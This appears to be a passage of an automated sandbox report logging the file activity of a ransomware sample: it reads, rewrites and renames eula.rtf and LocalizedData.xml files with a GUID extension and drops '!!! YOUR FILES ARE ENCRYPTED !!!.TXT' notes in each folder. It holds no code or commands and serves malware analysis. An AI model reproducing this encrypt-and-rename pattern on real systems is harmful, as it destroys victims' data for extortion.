File	Read	filename = C:\588bce7c90097ed212\1053\LocalizedData.xml, size = 77680, size_out = 77680	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1053\LocalizedData.xml, size = 77717	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1053\LocalizedData.xml, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1053\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1053\LocalizedData.xml, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1053\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1053\LocalizedData.xml, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1053\LocalizedData.xml, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1053\LocalizedData.xml, destination_filename = C:\588bce7c90097ed212\1053\LocalizedData.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1055\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1055\eula.rtf, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1055\eula.rtf, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1055\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1055\eula.rtf, size = 3859, size_out = 3859	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1055\eula.rtf, size = 3893	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1055\eula.rtf, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1055\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1055\eula.rtf, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1055\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1055\eula.rtf, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1055\eula.rtf, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1055\eula.rtf, destination_filename = C:\588bce7c90097ed212\1055\eula.rtf.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1055\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\588bce7c90097ed212\1055\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, size = 412	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1055\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1055\LocalizedData.xml, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1055\LocalizedData.xml, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1055\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1055\LocalizedData.xml, size = 76818, size_out = 76818	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1055\LocalizedData.xml, size = 76853	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1055\LocalizedData.xml, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1055\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1055\LocalizedData.xml, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1055\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1055\LocalizedData.xml, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1055\LocalizedData.xml, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1055\LocalizedData.xml, destination_filename = C:\588bce7c90097ed212\1055\LocalizedData.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\2052\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\2052\eula.rtf, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2052\eula.rtf, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\2052\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\2052\eula.rtf, size = 5827, size_out = 5827	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2052\eula.rtf, size = 5861	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2052\eula.rtf, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2052\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2052\eula.rtf, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2052\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2052\eula.rtf, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2052\eula.rtf, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\2052\eula.rtf, destination_filename = C:\588bce7c90097ed212\2052\eula.rtf.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\2052\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\588bce7c90097ed212\2052\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, size = 412	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\2052\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\2052\LocalizedData.xml, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2052\LocalizedData.xml, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\2052\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\2052\LocalizedData.xml, size = 60684, size_out = 60684	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2052\LocalizedData.xml, size = 60709	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2052\LocalizedData.xml, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2052\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2052\LocalizedData.xml, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2052\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2052\LocalizedData.xml, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2052\LocalizedData.xml, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\2052\LocalizedData.xml, destination_filename = C:\588bce7c90097ed212\2052\LocalizedData.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\2070\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\2070\eula.rtf, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2070\eula.rtf, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\2070\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\2070\eula.rtf, size = 4015, size_out = 4015	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2070\eula.rtf, size = 4053	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2070\eula.rtf, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2070\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2070\eula.rtf, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2070\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2070\eula.rtf, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2070\eula.rtf, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\2070\eula.rtf, destination_filename = C:\588bce7c90097ed212\2070\eula.rtf.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\2070\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\588bce7c90097ed212\2070\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, size = 412	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\2070\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\2070\LocalizedData.xml, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2070\LocalizedData.xml, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\2070\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\2070\LocalizedData.xml, size = 80254, size_out = 80254	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2070\LocalizedData.xml, size = 80293	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2070\LocalizedData.xml, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2070\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2070\LocalizedData.xml, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2070\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2070\LocalizedData.xml, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\2070\LocalizedData.xml, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\2070\LocalizedData.xml, destination_filename = C:\588bce7c90097ed212\2070\LocalizedData.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\3076\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\3076\eula.rtf, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\3076\eula.rtf, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\3076\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\3076\eula.rtf, size = 6309, size_out = 6309	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\3076\eula.rtf, size = 6341	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\3076\eula.rtf, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\3076\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\3076\eula.rtf, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\3076\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\3076\eula.rtf, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\3076\eula.rtf, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\3076\eula.rtf, destination_filename = C:\588bce7c90097ed212\3076\eula.rtf.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\3076\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\588bce7c90097ed212\3076\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, size = 412	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\3076\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\3076\LocalizedData.xml, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\3076\LocalizedData.xml, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\3076\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\3076\LocalizedData.xml, size = 60816, size_out = 60816	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\3076\LocalizedData.xml, size = 60853	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\3076\LocalizedData.xml, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\3076\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\3076\LocalizedData.xml, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\3076\LocalizedData.xml, size = 4	1	Fn Data
For performance reasons, the remaining 3794 entries are omitted. The remaining entries can be found in glog.xml.

Remarks (1/1)

Monitored Processes

Behavior Information - Sequential View

Before

After